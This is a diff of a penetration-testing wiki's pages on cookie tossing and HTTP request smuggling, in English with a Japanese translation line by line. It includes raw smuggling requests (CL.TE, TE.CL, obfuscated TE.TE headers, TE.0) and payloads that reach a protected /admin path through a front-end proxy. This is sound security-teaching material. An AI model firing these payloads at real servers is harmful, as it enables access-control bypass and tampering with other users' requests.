- **クッキーが初期値を設定している場合**Flaskのように、**クッキー**が**セッションのCSRFトークン**を**設定**し、この値が被害者がログインした後も保持される場合)、**攻撃者はこの既知の値を設定し、それを悪用することができます**そのシナリオでは、攻撃者はCSRFトークンを知っているため、ユーザーにCSRFリクエストを実行させることができます
- 値を設定するのと同様に、攻撃者はサーバーによって生成された認証されていないクッキーを取得し、そこからCSRFトークンを取得して使用することもできます。
### Cookie Order
### クッキーの順序
When a browser receives two cookies with the same name **partially affecting the same scope** (domain, subdomains and path), the **browser will send both values of the cookie** when both are valid for the request.
ブラウザが同じ名前の2つのクッキーを受け取ると、**同じスコープ(ドメイン、サブドメイン、パス)に部分的に影響を与える**場合、**ブラウザはリクエストに対して両方のクッキーの値を送信します**。
Depending on who has **the most specific path** or which one is the **oldest one**, the browser will **set the value of the cookie first** and then the value of the other one like in: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
どちらが**最も特定のパス**を持っているか、またはどちらが**古いもの**であるかに応じて、ブラウザは**最初にクッキーの値を設定し**、次に他の値を設定します。例:`Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
Most **websites will only use the first value**. Then, if an attacker wants to set a cookie it's better to set it before another one is set or set it with a more specific path.
ほとんどの**ウェブサイトは最初の値のみを使用します**。したがって、攻撃者がクッキーを設定したい場合は、別のクッキーが設定される前に設定するか、より特定のパスで設定する方が良いです。
> [!WARNING]
> Moreover, the capability to **set a cookie in a more specific path** is very interesting as you will be able to make the **victim work with his cookie except in the specific path where the malicious cookie set will be sent before**.
> さらに、**より特定のパスにクッキーを設定する能力**は非常に興味深いものであり、**被害者がそのクッキーで作業することができるのは、悪意のあるクッキーが設定された特定のパスを除いて、先に送信されることになります**。
### Protection Bypass
### 保護バイパス
Possible protection against this attack would be that the **web server won't accept requests with two cookies with the same name but two different values**.
この攻撃に対する可能な保護は、**ウェブサーバーが同じ名前の2つのクッキーを異なる値で受け入れないこと**です。
To bypass the scenario where the attacker is setting a cookie after the victim was already given the cookie, the attacker could cause a **cookie overflow** and then, once the **legit cookie is deleted, set the malicious one**.
攻撃者が被害者にクッキーを与えた後にクッキーを設定するシナリオを回避するために、攻撃者は**クッキーオーバーフロー**を引き起こし、その後、**正当なクッキーが削除されたら、悪意のあるクッキーを設定する**ことができます。
{{#ref}}
cookie-jar-overflow.md
{{#endref}}
Another useful **bypass** could be to **URL encode the name of the cookie** as some protections check for 2 cookies with the same name in a request and then the server will decode the names of the cookies.
別の有用な**バイパス**は、**クッキーの名前をURLエンコードすること**です。いくつかの保護は、リクエスト内の同じ名前の2つのクッキーをチェックし、その後サーバーはクッキーの名前をデコードします。
### Cookie Bomb
### クッキーボム
A Cookie Tossing attack may also be used to perform a **Cookie Bomb** attack:
Cookie Tossing攻撃は、**クッキーボム**攻撃を実行するためにも使用される可能性があります:
{{#ref}}
cookie-bomb.md
{{#endref}}
### Defense**s**
### 防御
#### **Use the prefix `__Host` in the cookie name**
#### **クッキー名にプレフィックス`__Host`を使用する**
- If a cookie name has this prefix, it **will only be accepted** in a Set-Cookie directive if it is marked Secure, was sent from a secure origin, does not include a Domain attribute, and has the Path attribute set to /
- **This prevents subdomains from forcing a cookie to the apex domain since these cookies can be seen as "domain-locked"**
- クッキー名にこのプレフィックスがある場合、**Secureとしてマークされ、セキュアなオリジンから送信され、Domain属性を含まず、Path属性が/に設定されている場合にのみ**Set-Cookieディレクティブで受け入れられます。
- **これにより、サブドメインがクッキーを頂点ドメインに強制することが防止されます。これらのクッキーは「ドメインロック」されたものと見なされる可能性があります。**
### References
### 参考文献
- [**@blueminimal**](https://twitter.com/blueminimal)
- [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers)
@ -65,4 +65,3 @@ cookie-bomb.md
- [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,175 +4,174 @@
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## What is
## とは
This vulnerability occurs when a **desyncronization** between **front-end proxies** and the **back-end** server allows an **attacker** to **send** an HTTP **request** that will be **interpreted** as a **single request** by the **front-end** proxies (load balance/reverse-proxy) and **as 2 request** by the **back-end** server.\
This allows a user to **modify the next request that arrives to the back-end server after his**.
この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバーの間に**非同期化**が発生し、**攻撃者**がHTTP **リクエスト**を**送信**できるときに発生します。このリクエストは**フロントエンド**プロキシ(ロードバランサー/リバースプロキシ)によって**単一のリクエスト**として解釈され、**バックエンド**サーバーによって**2つのリクエスト**として解釈されます。\
これにより、ユーザーは**自分の次のリクエストをバックエンドサーバーに到着させることができます**。
### Theory
### 理論
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
[**RFC仕様 (2161)**](https://tools.ietf.org/html/rfc2616)
> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
> メッセージがTransfer-EncodingヘッダーフィールドとContent-Lengthヘッダーフィールドの両方を持って受信された場合、後者は無視されなければなりません。
**Content-Length**
> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
> Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのサイズバイト単位を示します。
**Transfer-Encoding: chunked**
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
> Chunked means that large data is sent in a series of chunks
> Transfer-Encodingヘッダーは、ペイロードボディをユーザーに安全に転送するために使用されるエンコーディングの形式を指定します。\
> Chunkedは、大きなデータが一連のチャンクで送信されることを意味します。
### Reality
### 現実
The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header and the **Back-end** server **process the other** one provoking a **desyncronization** between the 2 systems.\
This could be very critical as **an attacker will be able to send one request** to the reverse proxy that will be **interpreted** by the **back-end** server **as 2 different requests**. The **danger** of this technique resides in the fact the **back-end** server **will interpret** the **2nd request injected** as if it **came from the next client** and the **real request** of that client will be **part** of the **injected request**.
**フロントエンド**(ロードバランサー/リバースプロキシは_**content-length**_または_**transfer-encoding**_ヘッダーを処理し、**バックエンド**サーバーは他のヘッダーを処理し、2つのシステム間に**非同期化**を引き起こします。\
これは非常に重大な問題であり、**攻撃者はリバースプロキシに1つのリクエストを送信でき、**バックエンド**サーバーはそれを**2つの異なるリクエスト**として解釈します。この技術の**危険性**は、**バックエンド**サーバーが**2番目のリクエストを注入されたものとして解釈し、**そのクライアントの**実際のリクエスト**が**注入されたリクエスト**の一部となることにあります。
### Particularities
### 特徴
Remember that in HTTP **a new line character is composed by 2 bytes:**
HTTPでは**新しい行文字は2バイトで構成されています**
- **Content-Length**: This header uses a **decimal number** to indicate the **number** of **bytes** of the **body** of the request. The body is expected to end in the last character, **a new line is not needed in the end of the request**.
- **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0`
- **Connection**: Based on my experience it's recommended to use **`Connection: keep-alive`** on the first request of the request Smuggling.
- **Content-Length**: このヘッダーは、リクエストの**ボディ**の**バイト数**を示すために**10進数**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの最後に新しい行は必要ありません**。
- **Transfer-Encoding:** このヘッダーは、**次のチャンク**の**バイト数**を示すために**16進数**を使用します。**チャンク**は**新しい行**で**終了**しなければなりませんが、この新しい行は**長さ指標**にはカウントされません。この転送方法は、**サイズ0のチャンクの後に2つの新しい行**で終了しなければなりません:`0`
- **Connection**: 私の経験に基づいて、リクエストスムーギングの最初のリクエストでは**`Connection: keep-alive`**を使用することをお勧めします。
## Basic Examples
## 基本的な例
> [!TIP]
> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
> Burp Suiteを使用してこれを悪用しようとする場合、**リピーターで`Update Content-Length``Normalize HTTP/1 line endings`を無効にしてください**。いくつかのガジェットは新しい行、キャリッジリターン、および不正なContent-Lengthを悪用します。
HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers. These attacks can manifest in different forms, primarily as **CL.TE**, **TE.CL**, and **TE.TE**. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.
HTTPリクエストスムーギング攻撃は、フロントエンドとバックエンドサーバーが`Content-Length`CLおよび`Transfer-Encoding`TEヘッダーを解釈する際の不一致を利用して、あいまいなリクエストを送信することによって作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、および**TE.TE**として異なる形で現れることがあります。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表しています。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、そして潜在的に悪意のある結果をもたらします。
### Basic Examples of Vulnerability Types
### 脆弱性タイプの基本的な例
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!NOTE]
> To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
> 前の表にTE.0技術を追加する必要があります。CL.0技術のように、Transfer Encodingを使用します。
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
#### CL.TE脆弱性フロントエンドで使用されるContent-Length、バックエンドで使用されるTransfer-Encoding
- **Front-End (CL):** Processes the request based on the `Content-Length` header.
- **Back-End (TE):** Processes the request based on the `Transfer-Encoding` header.
- **Attack Scenario:**
- **フロントエンド (CL):** `Content-Length`ヘッダーに基づいてリクエストを処理します。
- **バックエンド (TE):** `Transfer-Encoding`ヘッダーに基づいてリクエストを処理します。
- **攻撃シナリオ:**
- The attacker sends a request where the `Content-Length` header's value does not match the actual content length.
- The front-end server forwards the entire request to the back-end, based on the `Content-Length` value.
- The back-end server processes the request as chunked due to the `Transfer-Encoding: chunked` header, interpreting the remaining data as a separate, subsequent request.
- **Example:**
- 攻撃者は、`Content-Length`ヘッダーの値が実際のコンテンツの長さと一致しないリクエストを送信します。
- フロントエンドサーバーは、`Content-Length`の値に基づいてリクエスト全体をバックエンドに転送します。
- バックエンドサーバーは、`Transfer-Encoding: chunked`ヘッダーによりリクエストをチャンクとして処理し、残りのデータを別のリクエストとして解釈します。
- **例:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
0
GET /404 HTTP/1.1
Foo: x
```
GET /404 HTTP/1.1
Foo: x
```
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
#### TE.CL脆弱性フロントエンドで使用されるTransfer-Encoding、バックエンドで使用されるContent-Length
- **Front-End (TE):** Processes the request based on the `Transfer-Encoding` header.
- **Back-End (CL):** Processes the request based on the `Content-Length` header.
- **Attack Scenario:**
- **フロントエンド (TE):** `Transfer-Encoding`ヘッダーに基づいてリクエストを処理します。
- **バックエンド (CL):** `Content-Length`ヘッダーに基づいてリクエストを処理します。
- **攻撃シナリオ:**
- The attacker sends a chunked request where the chunk size (`7b`) and actual content length (`Content-Length: 4`) do not align.
- The front-end server, honoring `Transfer-Encoding`, forwards the entire request to the back-end.
- The back-end server, respecting `Content-Length`, processes only the initial part of the request (`7b` bytes), leaving the rest as part of an unintended subsequent request.
- **Example:**
- 攻撃者は、チャンクサイズ(`7b`)と実際のコンテンツの長さ(`Content-Length: 4`)が一致しないチャンクリクエストを送信します。
- フロントエンドサーバーは、`Transfer-Encoding`を尊重し、リクエスト全体をバックエンドに転送します。
- バックエンドサーバーは、`Content-Length`を尊重し、リクエストの最初の部分(`7b`バイト)だけを処理し、残りを意図しない次のリクエストの一部として残します。
- **例:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
x=
0
```
```
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
#### TE.TE脆弱性両方で使用されるTransfer-Encoding、難読化を伴う
- **Servers:** Both support `Transfer-Encoding`, but one can be tricked into ignoring it via obfuscation.
- **Attack Scenario:**
- **サーバー:** 両方とも`Transfer-Encoding`をサポートしていますが、一方は難読化を通じて無視されるように騙される可能性があります。
- **攻撃シナリオ:**
- The attacker sends a request with obfuscated `Transfer-Encoding` headers.
- Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.
- The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.
- **Example:**
- 攻撃者は、難読化された`Transfer-Encoding`ヘッダーを持つリクエストを送信します。
- どちらのサーバーフロントエンドまたはバックエンドが難読化を認識できないかに応じて、CL.TEまたはTE.CLの脆弱性が悪用される可能性があります。
- リクエストの未処理部分は、サーバーの1つによって次のリクエストの一部となり、スムーギングが発生します。
- **例:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
```
Transfer-Encoding
: chunked
```
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
#### **CL.CLシナリオフロントエンドとバックエンドの両方で使用されるContent-Length**
- Both servers process the request based solely on the `Content-Length` header.
- This scenario typically does not lead to smuggling, as there's alignment in how both servers interpret the request length.
- **Example:**
- 両方のサーバーは、`Content-Length`ヘッダーのみに基づいてリクエストを処理します。
- このシナリオは通常、スムーギングには至らず、両方のサーバーがリクエストの長さを解釈する方法に整合性があります。
- **:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
```
Normal Request
```
#### **CL.0 Scenario**
#### **CL.0シナリオ**
- Refers to scenarios where the `Content-Length` header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the `Content-Length` header (which is treated as 0), but the front-end parses it.
- It's crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
- **Example:**
- `Content-Length`ヘッダーが存在し、ゼロ以外の値を持つシナリオを指し、リクエストボディにコンテンツがあることを示します。バックエンドは`Content-Length`ヘッダーを無視しますこれは0として扱われますが、フロントエンドはそれを解析します。
- スムーギング攻撃を理解し、作成する上で重要であり、サーバーがリクエストの終了を決定する方法に影響を与えます。
- **:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
```
Non-Empty Body
```
#### TE.0 Scenario
- Like the previous one but using TE
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**:
#### TE.0シナリオ
- 前のものと同様ですが、TEを使用しています。
- 技術は[ここで報告されています](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **例**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -190,115 +189,111 @@ x: X
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### ウェブサーバーの破壊
#### Breaking the web server
この技術は、**初期のHTTPデータを読み取る際にウェブサーバーを破壊する**ことが可能なシナリオでも有用ですが、**接続を閉じることなく**行います。この方法では、HTTPリクエストの**ボディ**が**次のHTTPリクエスト**として扱われます。
This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**.
例えば、[**この書き込み**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeugではいくつかの**Unicode**文字を送信することでサーバーが**破壊**されることが可能でした。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続は依然としてオープンのままとなるため、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。
For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request wont be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.
#### Forcing via hop-by-hop headers
Abusing hop-by-hop headers you could indicate the proxy to **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
#### ホップバイホップヘッダーによる強制
ホップバイホップヘッダーを悪用することで、プロキシに**Content-LengthまたはTransfer-Encodingヘッダーを削除させることができ、HTTPリクエストスムージングを悪用することが可能です**。
```
Connection: Content-Length
```
For **more information about hop-by-hop headers** visit:
**ホップバイホップヘッダーに関する詳細情報**については、訪問してください:
{{#ref}}
../abusing-hop-by-hop-headers.md
{{#endref}}
## Finding HTTP Request Smuggling
## HTTPリクエストスムージングの発見
Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities:
HTTPリクエストスムージングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、特にCL.TEおよびTE.CLの脆弱性を検出するのに役立ちます。これらの方法に加えて、他にも脆弱性を見つけるために使用できる戦略やツールがあります。
### Finding CL.TE Vulnerabilities Using Timing Techniques
### タイミング技術を使用したCL.TE脆弱性の発見
- **Method:**
- **方法:**
- Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.
- **Example:**
- アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。
- **例:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
```
1
A
0
```
- **Observation:**
- The front-end server processes the request based on `Content-Length` and cuts off the message prematurely.
- The back-end server, expecting a chunked message, waits for the next chunk that never arrives, causing a delay.
- **観察:**
- フロントエンドサーバーは`Content-Length`に基づいてリクエストを処理し、メッセージを早期に切り捨てます。
- バックエンドサーバーはチャンクメッセージを期待しており、決して到着しない次のチャンクを待機し、遅延を引き起こします。
- **Indicators:**
- Timeouts or long delays in response.
- Receiving a 400 Bad Request error from the back-end server, sometimes with detailed server information.
- **指標:**
- タイムアウトや応答の長い遅延。
- バックエンドサーバーからの400 Bad Requestエラーを受信することがあり、時には詳細なサーバー情報が含まれます。
### Finding TE.CL Vulnerabilities Using Timing Techniques
### タイミング技術を使用したTE.CL脆弱性の発見
- **Method:**
- **方法:**
- Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.
- **Example:**
- アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。
- **例:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
```
0
X
```
- **Observation:**
- The front-end server processes the request based on `Transfer-Encoding` and forwards the entire message.
- The back-end server, expecting a message based on `Content-Length`, waits for additional data that never arrives, causing a delay.
- **観察:**
- フロントエンドサーバーは`Transfer-Encoding`に基づいてリクエストを処理し、メッセージ全体を転送します。
- バックエンドサーバーは`Content-Length`に基づいてメッセージを期待し、決して到着しない追加データを待機し、遅延を引き起こします。
### Other Methods to Find Vulnerabilities
### 脆弱性を見つけるための他の方法
- **Differential Response Analysis:**
- Send slightly varied versions of a request and observe if the server responses differ in an unexpected way, indicating a parsing discrepancy.
- **Using Automated Tools:**
- Tools like Burp Suite's 'HTTP Request Smuggler' extension can automatically test for these vulnerabilities by sending various forms of ambiguous requests and analyzing the responses.
- **Content-Length Variance Tests:**
- Send requests with varying `Content-Length` values that are not aligned with the actual content length and observe how the server handles such mismatches.
- **Transfer-Encoding Variance Tests:**
- Send requests with obfuscated or malformed `Transfer-Encoding` headers and monitor how differently the front-end and back-end servers respond to such manipulations.
- **差分応答分析:**
- リクエストのわずかに異なるバージョンを送信し、サーバーの応答が予期しない方法で異なるかどうかを観察し、解析の不一致を示します。
- **自動化ツールの使用:**
- Burp Suiteの「HTTP Request Smuggler」拡張機能のようなツールは、さまざまな曖昧なリクエストを送信し、応答を分析することでこれらの脆弱性を自動的にテストできます。
- **Content-Lengthの変動テスト:**
- 実際のコンテンツ長と一致しないさまざまな`Content-Length`値を持つリクエストを送信し、サーバーがその不一致をどのように処理するかを観察します。
- **Transfer-Encodingの変動テスト:**
- 不正なまたは不正確な`Transfer-Encoding`ヘッダーを持つリクエストを送信し、フロントエンドとバックエンドサーバーがそのような操作にどのように異なる応答を示すかを監視します。
### HTTP Request Smuggling Vulnerability Testing
### HTTPリクエストスムージング脆弱性テスト
After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](./#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource.
タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒殺することを試みることです。たとえば、`/`へのリクエストが404応答を返すようにします。前述の`CL.TE`および`TE.CL`の例は、クライアントが異なるリソースにアクセスしようとしているにもかかわらず、404応答を引き出すためにクライアントのリクエストをどのように毒殺するかを示しています。
**Key Considerations**
**重要な考慮事項**
When testing for request smuggling vulnerabilities by interfering with other requests, bear in mind:
他のリクエストに干渉してリクエストスムージングの脆弱性をテストする際には、以下の点に留意してください:
- **Distinct Network Connections:** The "attack" and "normal" requests should be dispatched over separate network connections. Utilizing the same connection for both doesn't validate the vulnerability's presence.
- **Consistent URL and Parameters:** Aim to use identical URLs and parameter names for both requests. Modern applications often route requests to specific back-end servers based on URL and parameters. Matching these increases the likelihood that both requests are processed by the same server, a prerequisite for a successful attack.
- **Timing and Racing Conditions:** The "normal" request, meant to detect interference from the "attack" request, competes against other concurrent application requests. Therefore, send the "normal" request immediately following the "attack" request. Busy applications may necessitate multiple trials for conclusive vulnerability confirmation.
- **Load Balancing Challenges:** Front-end servers acting as load balancers may distribute requests across various back-end systems. If the "attack" and "normal" requests end up on different systems, the attack won't succeed. This load balancing aspect may require several attempts to confirm a vulnerability.
- **Unintended User Impact:** If your attack inadvertently impacts another user's request (not the "normal" request you sent for detection), this indicates your attack influenced another application user. Continuous testing could disrupt other users, mandating a cautious approach.
- **異なるネットワーク接続:** 「攻撃」と「正常」リクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。
- **一貫したURLとパラメータ:** 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指してください。現代のアプリケーションは、URLとパラメータに基づいて特定のバックエンドサーバーにリクエストをルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まります。これは成功する攻撃の前提条件です。
- **タイミングとレース条件:** 「正常」リクエストは、「攻撃」リクエストからの干渉を検出するために設計されており、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「正常」リクエストを送信してください。忙しいアプリケーションでは、脆弱性の確認のために複数の試行が必要になる場合があります。
- **負荷分散の課題:** フロントエンドサーバーが負荷分散装置として機能する場合、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「正常」リクエストが異なるシステムに到達した場合、攻撃は成功しません。この負荷分散の側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。
- **意図しないユーザーへの影響:** あなたの攻撃が他のユーザーのリクエスト(検出のために送信した「正常」リクエストではない)に偶然影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが必要です。
## Abusing HTTP Request Smuggling
## HTTPリクエストスムージングの悪用
### Circumventing Front-End Security via HTTP Request Smuggling
### HTTPリクエストスムージングによるフロントエンドセキュリティの回避
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
時には、フロントエンドプロキシがセキュリティ対策を強化し、受信リクエストを精査します。しかし、これらの対策はHTTPリクエストスムージングを利用することで回避でき、制限されたエンドポイントへの不正アクセスを可能にします。たとえば、`/admin`へのアクセスは外部から禁止されている場合があり、フロントエンドプロキシがそのような試みを積極的にブロックしています。それにもかかわらず、このプロキシはスムージングされたHTTPリクエスト内の埋め込まれたリクエストを検査しない可能性があり、これによりこれらの制限を回避するための抜け穴が残ります。
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
**CL.TE Example**
以下の例は、HTTPリクエストスムージングがどのようにフロントエンドセキュリティ制御を回避するために使用できるかを示しており、特にフロントエンドプロキシによって通常保護されている`/admin`パスをターゲットにしています:
**CL.TEの例**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -315,11 +310,9 @@ Content-Length: 10
x=
```
CL.TE攻撃では、最初のリクエストに`Content-Length`ヘッダーが利用され、次の埋め込まれたリクエストは`Transfer-Encoding: chunked`ヘッダーを使用します。フロントエンドプロキシは最初の`POST`リクエストを処理しますが、埋め込まれた`GET /admin`リクエストを検査しないため、`/admin`パスへの不正アクセスが可能になります。
In the CL.TE attack, the `Content-Length` header is leveraged for the initial request, while the subsequent embedded request utilizes the `Transfer-Encoding: chunked` header. The front-end proxy processes the initial `POST` request but fails to inspect the embedded `GET /admin` request, allowing unauthorized access to the `/admin` path.
**TE.CL Example**
**TE.CLの例**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -335,15 +328,13 @@ a=x
0
```
逆に、TE.CL攻撃では、最初の`POST`リクエストが`Transfer-Encoding: chunked`を使用し、その後の埋め込まれたリクエストは`Content-Length`ヘッダーに基づいて処理されます。CL.TE攻撃と同様に、フロントエンドプロキシは密輸された`GET /admin`リクエストを見落とし、意図せずに制限された`/admin`パスへのアクセスを許可します。
Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encoding: chunked`, and the subsequent embedded request is processed based on the `Content-Length` header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path.
### フロントエンドリクエストの書き換えを明らかにする <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Applications often employ a **front-end server** to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as `X-Forwarded-For: <IP of the client>`, to relay the client's IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to **bypass protections** or **uncover concealed information or endpoints**.
To investigate how a proxy alters a request, locate a POST parameter that the back-end echoes in the response. Then, craft a request, using this parameter last, similar to the following:
